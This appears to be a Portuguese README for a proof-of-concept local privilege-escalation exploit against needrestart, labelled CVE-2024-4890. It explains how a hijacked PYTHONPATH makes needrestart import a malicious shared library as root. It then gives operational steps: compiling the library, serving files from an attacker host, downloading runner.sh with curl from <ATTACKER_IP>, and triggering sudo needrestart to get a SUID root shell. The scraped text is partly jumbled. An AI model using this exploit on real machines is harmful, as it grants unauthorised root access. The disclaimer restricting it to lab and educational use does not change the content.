
PoC exploit para CVE-2024-4890: escalada de privilégios no Sudo via neecdrestart (>=3.8). Apenas para uso ético em laboratório. Scripts em Python e C.
Uso exclusivo em laboratório, em ambientes controlados. Não explore em sistemas de produção sem autorização explícita. Este PoC é apenas para fins educacionais. O autor não é responsável por qualquer uso indevido ou acesso não autorizado.
A CVE-2024-4890 é uma vulnerabilidade crítica no needrestart (versões >= 3.8) que permite execução arbitrária de código com privilégios elevados. O problema decorre do tratamento inseguro de variáveis de ambiente e arquivos de configuração durante a varredura de processos.
Especificamente, quando executado com sudo, o needrestart inspeciona processos Python em execução, incluindo a variável de ambiente PYTHONPATH. Um atacante pode sequestrá-la definindo um PYTHONPATH personalizado apontando para um diretório controlado (por exemplo, /tmp/attacker). Dentro desse diretório, um módulo malicioso (__init__.so) é colocado em uma estrutura importlib falsa. Quando o needrestart tenta importá-lo como root (para verificar bibliotecas), o payload é executado, concedendo acesso root.
Este PoC demonstra o exploit por meio de um processo Python isca, uma biblioteca compartilhada maliciosa (compilada em C) e um script de automação.
needrestart >= 3.8 e acesso sudo a ele.gcc (para compilação), curl, python3.Coloque-os em /tmp/attacker na máquina alvo.
e.py: Script Python isca (executa em loop, aguarda o sucesso do payload).runner.sh: Script de automação para configurar e acionar a isca.lib.c para __init__.so e hospede-o:gcc -shared -fPIC -o init.so lib.c
python3 -m http.server 8000
Máquina Alvo (Vítima):
/tmp/attacker.main.py.runner.sh executável:curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh
Execute a configuração em um terminal:
cd /tmp/attacker && ./runner.sh
Isso cria o módulo malicioso, o script isca e inicia o processo Python sequestrado.
sudo /usr/sbin/needrestartO needrestart detecta o processo isca, lê o PYTHONPATH e importa o __init__.so malicioso como root — executando o payload.
runner.sh):/tmp/poc (shell root SUID criada pelo payload) e abre uma shell root:
sudo /tmp/poc -p
Limpeza: rm -rf /tmp/attacker /tmp/poc (e remova a entrada no sudoers, se adicionada).Indicador de Sucesso: whoami mostra root ou id mostra uid=0(root).